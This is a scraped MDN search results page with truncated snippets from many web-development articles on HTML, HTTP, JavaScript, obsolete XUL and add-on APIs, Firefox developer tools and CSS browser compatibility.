WebGL API to draw graphics and animations. <noscript> The HTML <noscript> element defines a section of HTML to be inser...
...d> element defines a set of rows defining the head of the columns of the table. <tr> The HTML <tr> element defines a row of cells in a table. The row's cells can then be established using a mix of <td> (data cell) and <th> (header cell) elements. Forms HTML provides a number of elements which can be used together to create forms which the user can fill out and submit to the
Web site or application. There's a great deal of further information about this available in the HTML forms guide. Element Description <button> The HTML <button> element represents a clickable button, used to submit forms or anywhere in a document for accessible, standard button functionality. <datalist> The HTML <datalist> element contains a set of <opti...
...And 8 more matches
An overview of HTTP - HTTP
HTTP is a protocol which allows the fetching of resources, such as HTML documents. It is the foundation of any data exchange on the
Web and it is a client-server protocol, which means requests are initiated by the recipient, usually the
Web browser. A complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more. Clients and servers communicate by exchanging individual messages (as opposed to a stream of data). The messages sent by the client, usually a
Web browser, are called requests and the messages sent by the server as an answer are called responses. Designed in the early 1990s, HTTP is an extensible protocol which has evolved over time. It is an application layer protocol that is sent over TCP, ...
...ver time. It is an application layer protocol that is sent over TCP, or over a TLS-encrypted TCP connection, though any reliable transport protocol could theoretically be used. Due to its extensibility, it is used to not only fetch hypertext documents, but also images and videos or to post content to servers, like with HTML form results. HTTP can also be used to fetch parts of documents to update
Web pages on demand. Components of HTTP-based systems HTTP is a client-server protocol: requests are sent by one entity, the user-agent (or a proxy on behalf of it). Most of the time the user-agent is a
Web browser, but it can be anything, for example a robot that crawls the
Web to populate and maintain a search engine index. Each individual request is sent to a server, which handles it and provid...
...hich handles it and provides an answer, called the response. Between the client and the server there are numerous entities, collectively called proxies, which perform different operations and act as gateways or caches, for example. In reality, there are more computers between a browser and the server handling the request: there are routers, modems, and more. ...
...And 8 more matches
Introduction - JavaScript
<< PreviousNext >> This chapter introduces JavaScript and discusses some of its fundamental concepts. What you should already know This guide assumes you have the following basic background: A general understanding of the Internet and the World Wide
Web (WWW). Good working knowledge of HyperText Markup Language (HTML). Some programming experience. If you are new to programming, try one of the tutorials linked on the main page about JavaScript. Where to find JavaScript information The JavaScript documentation on MDN includes the following: Learn
Web Development provides information for beginners and introduces basic concepts of programming and the Internet. JavaScript Guide (this guide) provides an overview about the JavaScript language and its objects. JavaScri...
...rovides detailed reference material for JavaScript. If you are new to JavaScript, start with the articles in the learning area and the JavaScript Guide. Once you have a firm grasp of the fundamentals, you can use the JavaScript Reference to get more details on individual objects and statements. ...
...Script Reference to get more details on individual objects and statements. What is JavaScript? JavaScript is a cross-platform, object-oriented scripting language used to make
webpages interactive (e.g., having complex animations, clickable buttons, popup menus, etc.). There are also more advanced server side versions of JavaScript such as Node.js, which allow you to add more functionality to a
website than simply downloading files (such as realtime collaboration between multiple computers). Inside a host environment (for example, a
web browser), JavaScript can be connected to the objects of its environment to provide programmatic control over them. JavaScript contains a standard library of objects, such as Array, Date, and Math, and a core set of language elements such as operators, contr...
...And 8 more matches
Communicating With Other Scripts - Archive of obsolete content
This page is now obsolete, and its content has been incorporated into the main page on content scripts. This section of the guide explains how content scripts can communicate with: your main.js file, or any other modules in your add-on other content scripts loaded by your add-on page scripts (that is, scripts embedded in the
web page or included using <script> tags) main.js Your content scripts can communicate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() API or the postMessage() API. See the articles on using postMessage() and using port for details. Content Scripts Content scripts loaded into the same document at the same time using the same method can interact with each other directly as...
...cate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() API or the postMessage() API. See the articles on using postMessage() and using port for details. Content Scripts Content scripts loaded into the same document at the same time using the same method can interact with each other directly as well as with the
web content itself. However, content scripts which have been loaded into different documents cannot interact directly with each other. Content scripts that have been loaded into the same document by different methods, or the same method called more than once, can pass messages directly to each other using the DOM postMessage() API or a CustomEvent. Any two content scripts can communicate by using th...
...ith those attached to page B. If an add-on loads two or more content scripts into the same page, or panel, using two different method (e.g. a page-mod and a context-menu) they can directly communicate by dispatching and listening for CustomEvents on DOM objects they can access (e.g. the window object). This is true as long as both context scripts have direct access to the same DOM objects. The
web content has no access to objects created by the content script, unless the content script explicitly makes them available. For more discussion and an example please see Content Scripts: Communicating with the add-on: Content script to content script. Page Scripts If a page includes its own scripts using <script> tags, either embedded in the page or linked to it using the src attribute, there a...
...And 7 more matches
jspage - Archive of obsolete content
n|linux/i)||["other"])[0].toLowerCase()},Features:{xpath:!!(document.evaluate),air:!!(window.runtime),query:!!(document.querySelector)},Plugins:{},Engines:{presto:function(){return(!window.opera)?false:((arguments.callee.caller)?960:((document.getElementsByClassName)?950:925)); },trident:function(){return(!window.ActiveXObject)?false:((window.XMLHttpRequest)?((document.querySelectorAll)?6:5):4);},
webkit:function(){return(navigator.taintEnabled)?false:((Browser.Features.xpath)?((Browser.Features.query)?525:420):419); },gecko:function(){return(!document.getBoxObjectFor&&window.mozInnerScreenX==null)?false:((document.getElementsByClassName)?19:18);}}},Browser||{});Browser.Platform[Browser.Platform.name]=true; Browser.detect=function(){for(var b in this.Engines){var a=this.Engines[b]();if(a){this...
....description; },function(){return new ActiveXObject("ShockwaveFlash.ShockwaveFlash").GetVariable("$version");})||"0 r0").match(/\d+/g);return{version:parseInt(a[0]||0+"."+a[1],10)||0,build:parseInt(a[2],10)||0}; })();function $exec(b){if(!b){return b;}if(window.execScript){window.execScript(b);}else{var a=document.createElement("script");a.setAttribute("type","text/javascript"); a[(Browser.Engine.
webkit&&Browser.Engine.version<420)?"innerText":"text"]=b;document.head.appendChild(a);document.head.removeChild(a);}return b;}Native.UID=1; var $uid=(Browser.Engine.trident)?function(a){return(a.uid||(a.uid=[Native.UID++]))[0];}:function(a){return a.uid||(a.uid=Native.UID++);};var Window=new Native({name:"Window",legacy:(Browser.Engine.trident)?null:window.Window,initialize:function(a){$uid(a); if(!
...text"]=b;document.head.appendChild(a);document.head.removeChild(a);}return b;}Native.UID=1; var $uid=(Browser.Engine.trident)?function(a){return(a.uid||(a.uid=[Native.UID++]))[0];}:function(a){return a.uid||(a.uid=Native.UID++);};var Window=new Native({name:"Window",legacy:(Browser.Engine.trident)?null:window.Window,initialize:function(a){$uid(a); if(!a.Element){a.Element=$empty;if(Browser.Engine.
webkit){a.document.createElement("iframe");}a.Element.prototype=(Browser.Engine.
webkit)?window["[[DOMElement.prototype]]"]:{}; }a.document.window=a;return $extend(a,Window.Prototype);},afterImplement:function(b,a){window[b]=Window.Prototype[b]=a;}});Window.Prototype={$family:{name:"window"}}; new Window(window);var Document=new Native({name:"Document",legacy:(Browser.Engine.trident)?null:window.Docum...
...And 7 more matches
browser - Archive of obsolete content
It is similar to an iframe except that it holds a page history and contains additional methods to manipulate the currently displayed page. Are you here looking for information about the Firefox
web browser, or because you'd like to download the latest version of Firefox? Get Firefox Most of the properties and methods of the browser will rarely be used and can only be called from chrome URLs. ...
...l, disablehistory, disableglobalhistory, disablesecurity, droppedLinkHandler, homepage, showcaret, src, type Properties accessibleType, canGoBack, canGoForward, contentDocument, contentPrincipal, contentTitle, contentViewerEdit, contentViewerFile, contentWindow, currentURI, docShell, documentCharsetInfo, homePage, markupDocumentViewer, messageManager, preferences, securityUI, sessionHistory,
webBrowserFind,
webNavigation,
webProgress Methods addProgressListener, goBack, goForward, goHome, gotoIndex, loadURI, loadURIWithFlags, reload, reloadWithFlags, removeProgressListener, stop, swapDocShells Examples <!-- shows Mozilla homepage inside a groupbox --> <groupbox flex="1"> <caption label="Mozilla homepage"/> <browser type="content" src="http://www.mozilla.org" flex="1"/> </gr...
...ocuments. Warning: The type attribute must be set before the element is inserted into the document. content A browser for content. The content that is loaded inside the browser is not allowed to access the chrome above it. content-primary The primary browser for content. The content that is loaded inside the browser is not allowed to access the chrome above it. For instance, in a
web browser, this would be the element that displays the
web page. The window for the primary content can be retrieved more conveniently using window.content. content-targetable One browser among many for content. The content that is loaded inside the browser is not allowed to access the chrome above it. This is the preferred value for any browser element in an application, which will use multipl...
...And 7 more matches
tabbrowser - Archive of obsolete content
It is similar to the browser element, except that multiple documents can be displayed, each in a separate tab. Note: Starting in Firefox 3 (XULRunner/Gecko 1.9), this is only used in the main Firefox window and cannot be used in other XUL windows by third-party applications or extensions. ...
...ntcontextmenu, contenttooltip, handleCtrlPageUpDown, onbookmarkgroup, onnewtab, tabmodalPromptShowing Properties browsers, canGoBack, canGoForward, contentDocument, contentTitle, contentViewerEdit, contentViewerFile, contentWindow, currentURI, docShell, documentCharsetInfo, homePage, markupDocumentViewer, securityUI, selectedBrowser, selectedTab, sessionHistory, tabContainer, tabs, visibleTabs,
webBrowserFind,
webNavigation,
webProgress Methods addProgressListener, addTab, addTabsProgressListener,appendGroup, getBrowserAtIndex, getBrowserIndexForDocument, getBrowserForDocument, getBrowserForTab, getIcon, getNotificationBox, getTabForBrowser, getTabModalPromptBox, goBack, goBackGroup, goForward, goForwardGroup, goHome, gotoIndex, loadGroup, loadOneTab, loadTabs, loadURI, loadURIWithFlags, ...
...ons that need to use events related to tabs in the browser window. tabs Type: array A NodeList containing the tab objects for each tab in the tabbrowser. This is a shortcut for looking at the tabs in the tabContainer. visibleTabs Type: array An array containing tab objects for each visible tab in the tabbrowser. This lets you determine which tabs are visible in the current tab set.
webBrowserFind Type: nsI
WebBrowserFind This read-only property contains an nsI
WebBrowserFind object which can be used to search for text in the document.
webNavigation Type: nsI
WebNavigation This read-only property contains the nsI
WebNavigation object for the document. Most of its methods are callable directly on the element itself, such as goBack and goForward. I...
...And 7 more matches
Gecko info for Windows accessibility vendors
MSAA (Microsoft Active Accessibility), external readonly DOM support, and the keyboard API/user interface. Definitions Here are some basic definitions that you'll need for this document to make sense: Gecko: The rendering engine for Firefox, Thunderbird, Nvu, Mozilla Seamonkey and other applications. Gecko is the internal engine that Mozilla uses to render any kind of
web content. It supports HTML, XHTML, Cascading Style Sheets (CSS) and the Document Object Model (DOM). Microsoft Active Accessibility (MSAA) an API devised by Microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand MSAA, you'll need to read the docs on MSDN and play wi...
...e that supports it. If you seriously need to understand MSAA, you'll need to read the docs on MSDN and play with the sample apps and code that come with MSAA SDK 1.3. (I recommend SDK 1.3 because the MSAA SDK 2.0 doesn't come with the source code to the testing tools. The other differences are not important). DOM: Document Object Model This is the W3C's specification for how
web content is exposed to Javascript and other languages. It covers content, style and events. Inside the Gecko process, code has full access to DOM APIs. However, exposing the entire DOM to external software packages is quite involved, partially because changes to the DOM in Firefox must occur on the main thread. We have chosen a subset of readonly methods in the DOM needed for assistive technology ...
...nguage The XML-based language used by Firefox and Mozilla to develop the UI. Similar to HTML in that it can be combined with CSS and Javascript to make powerful applications. Contains more desktop-style widgets than HTML and follows a box layout model, rather than being text-flow based. AJAX: Asynchronous JavaScript And XML AJAX is a method of building interactive
web applications that process user requests, user actions immediately in real time, unlike an HTTP request, during which users must wait for a whole page to reload or for a new page to load. Data is therefore stored and retrieved dynamically much faster. Roles, states and events: please read the MSAA documentation on MSDN if you are unfamiliar with these. in general we abbreviat...
...And 7 more matches
Localization formats
Warning: This document pertains to the development of Mozilla
web sites and not to the development of Gecko-based extensions or applications. ...
... Warning: This document pertains to the development of Mozilla
web sites and not to the development of Gecko-based extensions or applications. ...
... HTML/PHP Maybe you are designing a project that has relatively small translation needs like three to four lines (or more) of content asking users to update to the next version of software available. You may choose to present just the HTML for localiz...
...And 7 more matches
Using XPCOM Utilities to Make Things Easier
Much of the code created to get the software recognized and registered as a component can be reduced to a small data structure and a single macro. ...
...Much of the code created to get the software recognized and registered as a component can be reduced to a small data structure and a single macro. XPCOM Macros The XPCOM framework includes a number of macros for making C++ development easier. ...
...ros The XPCOM framework includes a number of macros for making C++ development easier. Though they overlap somewhat (e.g., high-level macros expand to other macros), they fall into the following general categories. Generic XPCOM Module Macros The work in the previous chapter was useful in setting up the generic component code. But there are only a few places in that code that are unique to the
WebLock component, and it was a lot of typing. To write a different component library, you could copy the listing at the end of the chapter, change very little, and paste it into a new project. To avoid these kinds of redundancies, to regulate the way generic code is written, and to save typing, XPCOM providesgeneric module macros that expand into the module code you've already seen. Since these mac...
...And 7 more matches
nsIDocShell
Native code only! presShell nsIPresShell Presentation shell for the currently loaded document. This may be null. Read only. Native code only! previousTransIndex long Keeps track of the previous SHTransaction index and the current SHTransaction index at the time that the doc shell begins to load. Used for ContentViewer eviction. Read only. printPreview nsI
WebBrowserPrint If the current content viewer is not initialized for print preview, it is replaced with one which is and to which an about:blank document is loaded. Read only. restoringDocument boolean Track whether we're currently restoring a document presentation. Read only. securityUI nsISecureBrowserUI The SecureBrowserUI object for this docshell. This is set by...
... If the current content viewer is not initialized for print preview, it is replaced with one which is and to which an about:blank document is loaded. Read only. restoringDocument boolean Track whether we're currently restoring a document presentation. Read only. securityUI nsISecureBrowserUI The SecureBrowserUI object for this docshell. This is set by browser or ns
WebBrowser for their root docshell. shouldSaveLayoutState boolean Indicates whether the current page can be cached. Read only. useErrorPages boolean Attribute to access whether error pages are enabled. zoom float Set/Get the document scale factor. When setting this attribute, a NS_ERROR_NOT_IMPLEMENTED error may be returned by implementations not support...
... Used to indicate that the load was caused by a meta refresh and the current document URI shouldn't be sent as the HTTP referrer. INTERNAL_LOAD_FLAGS_ALLOW_THIRD_PARTY_FIXUP 0x4 Used to indicate that LOAD_FLAGS_ALLOW_THIRD_PARTY_FIXUP was passed as one of the flags to loadURI(). INTERNAL_LOAD_FLAGS_FIRST_LOAD 0x8 This flag marks the first load in this object. See nsI
WebNavigation.LOAD_FLAGS_FIRST_LOAD. INTERNAL_LOAD_FLAGS_BYPASS_CLASSIFIER 0x10 Used to indicate that LOAD_FLAGS_BYPASS_CLASSIFIER was passed as one of the flags to loadURI(). INTERNAL_LOAD_FLAGS_FORCE_ALLOW_COOKIES 0x20 Used to indicate that LOAD_FLAGS_FORCE_ALLOW_COOKIES was passed as one of the flags to loadURI(). ENUMERATE_FORWARDS 0 Used by getDocS...
...And 7 more matches
Browser Console - Firefox Developer Tools
The Browser Console is like the
Web Console, but applied to the whole browser rather than a single content tab. So it logs the same sorts of information as the
Web Console - network requests, JavaScript, CSS, and security errors and warnings, and messages explicitly logged by JavaScript code. However, rather than logging this information for a single content tab, it logs information for all content tabs, for add-ons, and for the browser's own code. If you also want to use the other
web developer tools in the regular
Web Toolbox with add-on or browser code, consider using the Browser Toolbox. Similarly, you can execute JavaScript expressions using the Browser Console. ...
.... However, rather than logging this information for a single content tab, it logs information for all content tabs, for add-ons, and for the browser's own code. If you also want to use the other
web developer tools in the regular
Web Toolbox with add-on or browser code, consider using the Browser Toolbox. Similarly, you can execute JavaScript expressions using the Browser Console. But while the
Web Console executes code in the page window scope, the Browser Console executes them in the scope of the browser's chrome window. This means you can interact with all the browser's tabs using the gBrowser global, and even with the XUL used to specify the browser's user interface. NB: The Browser Console command line (to execute JavaScript expressions) is disabled by default. To enable it set the d...
...ecute JavaScript expressions) is disabled by default. To enable it set the devtools.chrome.enabled preference to true in about:config, or set the "Enable browser chrome and add-on debugging toolboxes" (Firefox 40 and later) option in the developer tool settings. Opening the Browser Console You can open the Browser Console in one of two ways: from the menu: select "Browser Console" from the
Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on macOS). from the keyboard: press Ctrl+Shift+J (or Cmd+Shift+J on a Mac). You can also start the Browser Console by launching Firefox from the command line and passing the -jsconsole argument: /Applications/FirefoxAurora.app/Contents/MacOS/firefox-bin -jsconsole The Browser Console looks like this: Y...
...And 7 more matches
Console messages - Firefox Developer Tools
This is not shown by default: you can opt to see timestamps by selecting Show Timestamps in the console settings menu (gear icon in the console toolbar). Icon Not all console messages contain icons. The following icons may be used: Informational message Warning Error Blocked; for network messages In addition, a disclosure triangle indicates that further information is available; clicking it displays or collapses that information. Message The message itself. ...
...t Sends the network request again. Open URL in New Tab Opens the URL in a new browser tab. If the resource is an image, the image will be opened in a new tab. If the resource is a stylesheet, you will see the CSS rules, etc. JS JavaScript errors contain a "Learn more" link that takes you to the JavaScript error reference containing additional advice for fixing issues: Source maps The
Web Console understands source maps. This means that if your JavaScript sources are compressed, you can supply a source map for them. Then any messages or errors your source generates will show up in the
Web Console with a link back to the original source, not the compressed version. Async stack frames Stack traces show stack frames for async functions separately from those for synchronous function...
...ror) are shown with an Async: prefix. CSS Note: CSS warnings and reflow messages are not shown by default, for performance reasons (see bug 1452143). Use the filtering feature to show them. Some CSS messages contain a disclosure triangle at the left of the message. Click it to view more information about the error, as well as which DOM nodes are affected by the error. Reflow events The
Web Console also logs reflow events under the CSS category. A reflow is the name given to the operation in which the browser calculates the layout of all or part of the page. Reflows occur when a change has happened to a page that the browser thinks affects the layout. Many events can trigger reflows, including: resizing the browser window, activating pseudoclasses like :hover, or manipulating the DO...
...And 7 more matches
ARIA: application role - Accessibility
The application role indicates to assistive technologies that an element and all of its children should be treated similar to a desktop application, and no traditional HTML interpretation techniques should be used. This role should only be used to define very dynamic and desktop-like
web applications. <div role="application">...</div> This defines this div element and all of its descendants to be treated like they are part of a desktop application. Description The application role indicates to assistive technologies that this part of the
web content contains elements that do not conform to any other known HTML element or WAI-ARIA widget. Any sort of special interpretation of HTML structures and widgets should be suspended, and control should be completely handed over to the browser and ...
... treated like they are part of a desktop application. Description The application role indicates to assistive technologies that this part of the
web content contains elements that do not conform to any other known HTML element or WAI-ARIA widget. Any sort of special interpretation of HTML structures and widgets should be suspended, and control should be completely handed over to the browser and
web application to handle mouse, keyboard, or touch interaction. ...
...role indicates to assistive technologies that this part of the
web content contains elements that do not conform to any other known HTML element or WAI-ARIA widget. Any sort of special interpretation of HTML structures and widgets should be suspended, and control should be completely handed over to the browser and
web application to handle mouse, keyboard, or touch interaction. In this mode, the
web author is completely responsible for handling any and all keyboard input, focus management, and other interactions and cannot assume assistive technologies would do any processing on their end. If the
web application encompassed by the application role contains parts that should be treated like normal
web content, a role of document or article should be used. Background For historic reasons, e...
...And 7 more matches
break-after - CSS: Cascading Style Sheets
2.1 page-break-after property to handle both page and column breaks. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 12Firefox No support NoIE Full support 10Opera Full support 37 Full support 37 No support 11.1 -- 12.1Safari No support No
WebView Android Full support 50Chrome Android Full support 50Firefox Android No support NoOpera Android Full support 37 Full support 37 No support 11.1 ...
... 5.0alwaysChrome No support NoEdge No support NoFirefox No support NoIE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
...And 7 more matches
break-before - CSS: Cascading Style Sheets
2.1 page-break-before property to handle both page and column breaks. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 12Firefox Full support 65IE Full support 10Opera Full support 37 Full support 37 No support 11.1 -- 12.1Safari No support No
WebView Android Full support 50Chrome Android Full support 50Firefox Android Full support 65Opera Android Full support 37 Full support 37 No support 11.
...ays ExperimentalChrome No support NoEdge No support NoFirefox No support NoIE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
...And 7 more matches
image-set() - CSS: Cascading Style Sheets
odule Level 4The definition of 'The image-set() notation' in that specification. Working Draft Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...compat-data and send us a pull request. ...
...image-set()Chrome Full support 21Prefixed Full support 21Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Edge Full support 79Prefixed Full support 79Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Firefox No support NoNotes No support NoNotes Notes See bug 1107646.IE No support NoOpera Full support 15Prefixed Full support 15Prefixed Prefixed Implemented with the v...
...And 7 more matches
Event developer guide - Developer guides
Events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a
web page and to the naming, characterization, and use of a large number of incidents of different types. The overview page provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern
web browsers. The custom events page describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code. ...
...ary of the types of incidents which are defined and reacted to by modern
web browsers. The custom events page describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code. The remaining pages describe how to use events of different kinds defined by
web browsers. Unfortunately, these events have been defined piece by piece as
web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern
web browsers. ...
...ener functions to handle those events, and trigger the events in user code. The remaining pages describe how to use events of different kinds defined by
web browsers. Unfortunately, these events have been defined piece by piece as
web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern
web browsers. The device on which the
web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the page on orientation coordinate systems and the page on the use of 3D transforms. That is different, but similar, to the change in device vertical orientation. The window in which the browser is displayed can trigger events; for example, change size i...
...And 7 more matches
Developer guides
These articles provide how-to information to help make use of specific
web technologies and APIs. HTML learning area HyperText Markup Language (HTML) is the core language of nearly all
web content. Most of what you see on screen in your browser is described, fundamentally, using HTML. CSS learning area Cascading Style Sheets (CSS) is a stylesheet language used to define the presentation of a document written in HTML. Audio and video delivery We can deliver audio and video on the
web in several ways, ranging from 'static' media files to adaptive live streams. ...
...amentally, using HTML. CSS learning area Cascading Style Sheets (CSS) is a stylesheet language used to define the presentation of a document written in HTML. Audio and video delivery We can deliver audio and video on the
web in several ways, ranging from 'static' media files to adaptive live streams. This article is intended as a starting point for exploring the various delivery mechanisms of
web-based media and compatibility with popular browsers. Audio and video manipulation The beauty of the
web is that you can combine technologies to create new forms. Having native audio and video in the browser means we can use these data streams with technologies such as <canvas>,
WebGL or
Web Audio API to modify audio and video directly, for example adding reverb/compression effects to audio, or ...
...gies such as <canvas>,
WebGL or
Web Audio API to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video. This article provides a reference to explain what you need to do. ...
...And 7 more matches
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
It has now been replaced by the <slot> element, which creates a point in the DOM at which a shadow DOM can be inserted. Note: Though present in early draft of the specifications and implemented in several browsers, this element has been removed in later versions of the spec, and should not be used. It is documented here to assist in adapting code written during the time it was included in the spec to work with newer versions of the specification. Content categories Transparent content. Permitted content Flow content. ...
... This element includes the global attributes. select A comma-separated list of selectors. These have the same syntax as CSS selectors. They select the content to insert in place of the <content> element. Example Here is a simple example of using the <content> element. It is an HTML file with everything needed in it. Note: For this code to work, the browser you display it in must support
Web Components. See Enabling
Web Components in Firefox. <html> <head></head> <body> <!-- The original content accessed by <content> --> <div> <h4>My Content Heading</h4> <p>My content text</p> </div> <script> // Get the <div> above. var myContent = document.querySelector('div'); // Create a shadow DOM on the <div> var shadowroot = myContent.createShadowRoot(); // Inse...
...et the <div> above. var myContent = document.querySelector('div'); // Create a shadow DOM on the <div> var shadowroot = myContent.createShadowRoot(); // Insert into the shadow DOM a new heading and // part of the original content: the <p> tag. shadowroot.innerHTML = '<h2>Inserted Heading</h2> <content select="p"></content>'; </script> </body> </html> If you display this in a
web browser it should look like the following. Specifications This element is no longer defined by any specifications. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSa...
...And 7 more matches
2015 MDN Fellowship Program - Archive of obsolete content
More information: MDN/DeveloperFellowship wiki page. Announcing the MDN Fellows! blog post, May 14 2015. MDN Fellows Successfully Oriented blog post, July 6 2015. MDN Fellows: What They Did & What's Next blog post, September 23, 2015. 2015 MDN Fellowship Program Launching in Q1 2015, the Mozilla Developer Fellowship intends to accelerate the involvement of highly-skilled and experienced
web developers with the open
web. Who
Web and mobile developers with an established track record of contributions and expertise in a specific
web technology, function or domain who wish to increase the effectiveness of their teaching and communications. What Seven weeks of partnering closely with Mozilla to (1) build curriculum, code, or likely both; and (2) receive coaching, training and best pr...
...and communications. What Seven weeks of partnering closely with Mozilla to (1) build curriculum, code, or likely both; and (2) receive coaching, training and best practices for effectively communicating and educating with technical information. We expect this to be between 5-10 hours of your time per week. Specific projects (we encourage you to target one of these in your application): TestThe
WebForward Brief project description Mozilla participates in an important W3C open testing initiative, TestThe
WebForward.com. To support our efforts, the Fellow will review various technical specifications to identify gaps between the documentation and current situation and refine existing tests to adapt to this cross-browser test harness. Activities and Deliverables Identify gaps between exist...
...evelopment environments. The work would entail refining existing tests to adapt to this framework. Required skills and experience Experience and comfort writing Javascript test scripts. Mentor Information Josh Matthews, Mozilla Platform Group. GitHub: jdm Twitter: @lastontheboat Service Workers Brief Project Description Service workers essentially act as proxy servers that sit between
web applications, the browser and (when available) the network. They enable the creation of effective offline experiences and wiill also allow access to push notifications and background sync APIs. Activities and Deliverables Write a demonstration
web application (new or existing) to showcase Service Worker functionality. Provide detailed API descriptions. Required skills and experience Experienc...
...And 6 more matches
Interacting with page scripts - Archive of obsolete content
But sometimes, you will want to share objects between the two scopes. ...
... But sometimes, you will want to share objects between the two scopes. ...
...></head> <body> <script> window.addEventListener('message', function(event) { window.alert(event.data); // Message from content script }, false); </script> </body> </html> Page script to content script Sending messages from the page script to the content script is just the same, but in reverse. ...
...And 6 more matches
Downloading Files - Archive of obsolete content
The following methods of downloading files may not work as expected after Firefox 26, and should no longer be used. Please use Downloads.jsm instead. Downloading files To download a file, create an instance of nsI
WebBrowserPersist and call its nsI
WebBrowserPersist.saveURI() method, passing it a URL to download and an nsIFile instance representing the local file name/path. ...
...irefox 26, and should no longer be used. Please use Downloads.jsm instead. Downloading files To download a file, create an instance of nsI
WebBrowserPersist and call its nsI
WebBrowserPersist.saveURI() method, passing it a URL to download and an nsIFile instance representing the local file name/path. Components.utils.import("resource://gre/modules/PrivateBrowsingUtils.jsm"); const
WebBrowserPersist = Components.Constructor("@mozilla.org/embedding/browser/ns
WebBrowserPersist;1", "nsI
WebBrowserPersist"); var persist =
WebBrowserPersist(); var targetFile = Services.dirsvc.get("Desk", Ci.nsIFile); targetFile.append("file.bin"); // Obtain the privacy context of the browser window that the URL // we are downloading comes from. If, ...
...rsist.PERSIST_FLAGS_REPLACE_EXISTING_FILES; persist.saveURI(uriToSave, null, null, null, "", targetFile, privacy); If you don't need detailed progress information, you might be happier with nsIDownloader. ...
...And 6 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
-based language, and was developed to be the GUI markup language for the Mozilla browser. There are earlier experiments going back a long way in developing user interfaces using a combination of HTML and scripting languages, and XUL could be considered an evolutionary step from that. Similar approaches are found in XAML, which is used in Windows Vista, and Flex, which is used in Adobe Flash. Like
web pages, which display the same regardless of platform, applications marked up in XUL will work the same in any environment where Firefox runs. Because HTML was originally conceived as a language for marking up documents, specifically
web pages, it is inevitably lacking in functionality for marking up applications. XUL, on the other hand, was conceived from the ground up as a markup language for u...
... I will illustrate it with a source code example. You can type these examples up and open them in Firefox to see how they behave and appear. You can download a file with all the source code examples from: FIXME: Attache the translated tarball - Paul Task !. XUL display methods XUL is used almost exclusively in Mozilla applications like Firefox and Thunderbird, and extensions for them, but other
web browsers based on Firefox or the Gecko engine, and even
web-based content also used XUL. For example, there is the Mozilla Amazon Browser, which helps with shopping at Amazon, and the Presentation Method in XUL, a tool for writing and displaying presentations To try out the code samples in this chapter, save them as text files with .xul extensions and drag and drop them into the Firefox browser ...
...rivileges," which are discussed in Chapter 4, so this example will only run correctly if it can run as Firefox code itself or installed extension code. Please be aware that if you attempt to open this sample directly in Firefox, it will not run correctly. Menus Hierarchically structured dropdown menus are the part of the user interface used for frequently accessed functions in an application or
web service. In the past, a combination of HTML and JavaScript was used to produce this sort of complex UI structure, but in XUL, it can be handled easily just by writing tags. Creating the menu Listing 9 shows how the menu element and its related elements are combined. This produces the output seen in Figure 6. <menubar> <menu label="Menu 1"> <menupopup> <menuitem label="Item 1"/> ...
...And 6 more matches
Security best practices in extensions - Archive of obsolete content
your users safe. Some items mentioned are strict guidelines, meaning that if you don't follow them then your add-on will not be approved on Mozilla add-ons. Other items are recommendations. The difference will be clearly flagged. This is written from the perspective of a Firefox extension, but most items apply to extensions for other Mozilla-based applications such as Thunderbird or SeaMonkey.
Web content handling In general the best way to ensure that the browser is not compromised when you load content is to make sure it does not have those privileges. A more detailed explanation of this process is in Displaying
web content in an extension without security issues. The privileges that a document gets also depend on where it comes from. For example, if you load a chrome URL, this means t...
...m. For example, if you load a chrome URL, this means the content has been registered with Firefox and has full access. Content from a domain (such as http://www.example.com) can only access that same domain. Files loaded using the file protocol can access files on the user's disk and other local devices. There are ways to get around the content/chrome security barrier, if for example, you want a
web page to send a notification to the add-on (or vice versa). One way to do this is to use custom DOM events; see Interaction between privileged and non-privileged pages. Regardless of where the document comes from, you can further restrict what it can do by applying properties to the document holder, known as the docshell. frame.docShell.allowImages = false; frame.docShell.allowJavascript = fals...
...he best ways to do this is to use Components.utils.evalInSandbox(). Note that objects passed into the sandbox are restricted, but objects that come back out from it are not. Refer to the document to find out how to avoid such pitfalls. For more information, refer to the evalInSandbox section. The sidebar: a use case The sidebar in Firefox is designed to hold both chrome (privileged) content and
Web (nonprivileged) content, the latter being in the form of
Web pages. These
Web pages can come from a server, or come from local HTML files bundled with the extension. For pages coming from the server, you need to take steps to ensure that the content can not call back into the
Web browser and run malicious code. The main way to do this is by creating an iframe or browser element in the sidebar, an...
...And 6 more matches
The Joy of XUL - Archive of obsolete content
